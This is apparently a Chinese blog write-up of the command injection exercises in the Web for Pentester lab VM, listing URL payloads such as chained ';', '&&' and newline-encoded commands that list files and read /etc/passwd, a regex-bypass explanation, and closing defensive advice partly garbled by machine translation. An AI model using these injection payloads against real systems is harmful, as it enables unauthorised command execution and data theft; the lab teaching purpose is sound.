web for pentester之command injection

web for pentester之命令执行漏洞

(命令执行漏洞)
开启pentester虚拟机:
在这里插入图片描述

开启之后,输入ipconfig查看虚拟机ip地址;我这里虚拟机的ip地址为192.168.145.131;

在物理机上的Firefox地址栏中输http://192.168.145.131

进入web for pentester主页:

点击选择Commands injection(命令执行)测试:

windows支持:

|
ping 127.0.0.1|whoami

||
ping 2||whoami (哪条名令为真执行那条)

& &&
ping 127.0.0.1&&whoami

选择example1:

Example1:
在这里插入图片描述

url 为http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1

显示的是ping 127.0.0.1的内容,只ping了2次。

考虑到服务端代码可能为system(“ping -c 2”.$ip);

那么$ip用等符号间隔可再多执行些命令。可用;,,,&,&&,等,这其中有的需要第一个命令报错才执行第二个命令。
http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! ls
在这里插入图片描述

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! cat example1.php
在这里插入图片描述

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! cat /etc/passwd
在这里插入图片描述在这里插入图片描述

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1%26%26cat
/etc/passwd (//%26是&的urlencode)
在这里插入图片描述
在这里插入图片描述

http://192.168.145.131/commandexec/example1.php?ip=1127.0.0.1%26cat
/etc/passwd
在这里插入图片描述
在这里插入图片描述

http://192.168.145.131/commandexec/example1.php?ip=1127.0.0.1cat
/etc/passwd (//ab,必须是a报错b才能执行)
在这里插入图片描述

Example2:
在这里插入图片描述

url为http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1,显示的与之前的一样。
在这里插入图片描述

先用;ls试,显示Invalid IP
address,说明对ip提交的值进行了过滤,应该用了preg_grep等,希望使用了/m参数,用%0a进行截断试试。

http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1 ls

在这里插入图片描述

http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1 cat
example2.php在这里插入图片描述
成功。
查看源代码:
在这里插入图片描述

以后用preg千万别用/m,/e,但多用/i。

Example3:
在这里插入图片描述

url为http://192.168.145.131/commandexec/example3.php?ip=127.0.0.1,显示的与之前的一样。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

分别尝试了各种符号连接和%0a,包括把ip写成其它的,都显示ping通了。

查看源代码:

f (!(preg_match(’/^\d.\d.\d.\d$/’,
$_GET[‘ip’]))) { header(“Location: example3.php?ip=127.0.0.1”);

原来是如果ip不是ip地址格式,则跳转到ping 127.0.0.1。

这个地方如果用burp抓包:
在这里插入图片描述

能抓到两个包。第一个包302,但是执行命令成功的,能把后续的ls或cat发回客户端,但马上被第二个正常ping的包覆盖后显示了。

命令执行漏洞的一些安全建议:

  1. 尽量不要执行外部命令。
    
  2. 使用自定义函数或者函数库来代替外部命令的功能。
    
  3. 使用escapeshe||arg函数来处理命令参数。
    
  4. 使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)
    
  5. 应用程序防御命令注入漏洞,通过做正确的输入验证和消毒。 开发人员必须考虑所有情况下,应用程序调用一个壳状系统功能,如执行或系统,避免执行,除非参数被正确地验证和消毒。 有两种可能的方法来验证这些参数:使用黑色列表或使用白名单。黑名单检查,然后才允许执行恶意模式。 命令注入的情况下,一个黑色的命令列表可能包含分隔符,如分号(;)垂直划线(|),双破折号(| |),双放大器(&&)危险的命令,如RM,CP,猫,LS,在净参数,netstat,DEL,复制等, 但是,一个主要的缺点阻碍了这种对策是有效的,除非黑名单绝对是所有涉及危险的可能性,攻击者可以找到以外的黑名单的变化,来进行攻击。  白名单与安全执行模式匹配, 如果有问题的数据不匹配任何安全模式,这是不允许的。 这危险的构造,因为任何新的(恶意)结构的新变化,不符合安全的解决了这个问题一种是系统自动封锁。 一个共同的方式来实现白名单是相匹配的输入与安全的命令格式的正则表达式表示。 然而,复杂的正则表达式可以写和解释。 开发人员必须确保他们了解如何编写和解释正则表达式之前实施这一防御。
    
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值